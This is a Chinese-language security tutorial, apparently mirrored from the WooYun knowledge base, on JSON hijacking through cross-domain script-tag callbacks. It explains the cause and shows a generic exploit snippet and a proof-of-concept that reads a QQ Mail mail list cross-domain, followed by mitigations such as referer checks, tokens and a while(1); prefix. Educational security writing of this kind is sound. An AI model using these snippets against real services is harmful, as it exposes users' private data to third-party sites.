Json hijacking/Json劫持漏洞

wyzsk發表於2020-08-19
作者: xsser · 2012/12/28 17:45

0x00 相關背景介紹

JSON(JavaScript Object Notation) 是一種輕量級的資料交換格式。易於人閱讀和編寫。同時也易於機器解析和生成。它基於JavaScript Programming Language, Standard ECMA-262 3rd Edition - December 1999的一個子集。 JSON採用完全獨立於語言的文字格式,但是也使用了類似於C語言家族的習慣(包括C, C++, C#, Java, JavaScript, Perl, Python等)。這些特性使JSON成為理想的資料交換語言。

這種純文字的資料互動方式由於可以天然的在瀏覽器中使用,所以隨著ajax和web業務的發展得到了廣大的發展,各種大型網站都開始使用,包括Yahoo,Google,Tencent,Baidu等等。

但是如果這種互動的方式用來傳遞敏感的資料,並且傳輸的時候沒有做太多安全性控制的話將導致安全漏洞,根據敏感資訊的不同導致會導致應用遭受不同級別的攻擊。

0x01 成因

JSON屬於javascript的一種實際應用,作為資料傳輸的一種有效方式,在使用的時候必須考慮到javascript在瀏覽器裡的跨域安全策略影響,一般來說,譬如要傳輸如下的資料

$data=array("username"=>"wooyun",  
   "password"=>"wooyun"  
);  

JSON實際應用的時候會有兩種傳輸資料的方式:

xmlhttp獲取資料方式:

{"username":"wooyun","password":"wooyun"}  

當在前端獲取資料的時候,由於資料獲取方和資料提供方屬於同一個域譬如www.wooyun.org下面,屬於同一個可信的安全區域。所以可以使用xmlhttp的方式來獲取資料,然後再用xmlhttp獲取到的資料傳入自己的js邏輯譬如eval(也可以使用其他方式),這種方式下資料可以保證只在可信的域下傳輸,不會(目前的瀏覽器的環境下是這樣)導致資料向不可信的第三方洩露。

script獲取資料方式:

userinfo={"username":"wooyun","password":"wooyun"}  

如果傳輸的資料在兩個不同的域,譬如對於大的網際網路公司,代表了A應用的A域名想獲取代表B應用的B域名的資料時,由於在javascript裡無法跨域獲取資料,所以一般採取script標籤的方式獲取資料,傳入一些callback來獲取最終的資料。譬如獲取上面資料的時候可以使用

<script src="http://www.wooyun.org/userdata.php?callback=userinfo"></script>  

由於資料在兩個完全不同的域裡傳輸,如果缺乏有效地控制就會導致資料被洩露給第三方程式。

0x02 攻擊方式及危害

透過分析應用裡的資料互動,我們經常可以發現敏感資訊洩露的情況發生。通常的方式包括,抓取應用的互動,檢視裡面敏感的資料,如果在傳輸的時候沒有安全控制,就可以發現此類漏洞了。

主要的危害是對於一些資料敏感的應用會造成較嚴重的攻擊,對於資料不敏感甚至是對第三方公開的應用來說,這類問題基本不算是安全問題,透過在第三方域使用javascript hijacking的方式我們就可以竊取到敏感資料了。一般的exploit程式碼形式如下:

<script>  
function wooyun_callback(a){  
alert(a);  
}  
</script>  
<script src="http://www.wooyun.org/userdata.php?callback=wooyun_callback"></script>  

0x03 實際案例

WooYun: QQMail郵件洩露漏洞

透過構造URL讓使用者訪問,可以獲得QQ Mail的郵件列表。該漏洞由於需要在web QQ裡共享QQ Mail裡的郵件資訊,所以QQ Mail開放了一個json介面以提供第三方的域名來獲得QQ Mail的資訊,但是由於該介面缺乏足夠的認證,所以導致任何第三方域裡都可以用script的方式來獲取該郵件列表。

<script>  
var Qmail={};  
</script>  
<script src="http://mail.qq.com/cgi-bin/login?fun=passport&target=MLIST&t=login.js&pagesize=10&resp_charset=gb2312&1=3"></script>  
<script>  
alert(Qmail.newMailsList.nextUrl);  
alert(document.scripts[1].src=Qmail.newMailsList.nextUrl);  
alert(Qmail.newMailsList.summary);  
</script>  

0x04 修復方案

儘量避免跨域的資料傳輸,對於同域的資料傳輸使用xmlhttp的方式作為資料獲取的方式,依賴於javascript在瀏覽器域裡的安全性保護資料。如果是跨域的資料傳輸,必須要對敏感的資料獲取做許可權認證,具體的方式可以包括:

1 referer的來源限制,利用前端referer的不可偽造性來保障請求資料的應用來源於可信的地方,此種方式力度較稀,完全依賴於referer,某些情況下(如存在xss)可能導致被繞過。
2 token的加入,嚴格來說,這種利用javascript hijacking的方式獲取資料是CSRF的一種,不過較之傳統的CSRF不能獲取資料只能提交而言,這種方式利用javascript可以獲取一些敏感資訊而已。如果我們能讓攻擊者對介面未知,就可以實現json
 hijacking的防禦了。利用token對呼叫者的身份進行認證,這種方式對於呼叫者的身份會要求力度較細,但是一旦出現xss也可能導致前端Token的洩露,從而導致保護失效。
3
對於同域的json使用情況下,可以在資料的輸出頭部加入while(1);的方式避免資料被script標籤的方式引用,這可以防止一些比較有特性的瀏覽器裡導致的資料洩漏。

0x05 相關其他安全問題

1 json正確的http頭輸出

0x06 相關資源

http://www.json.org/json-zh.html

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章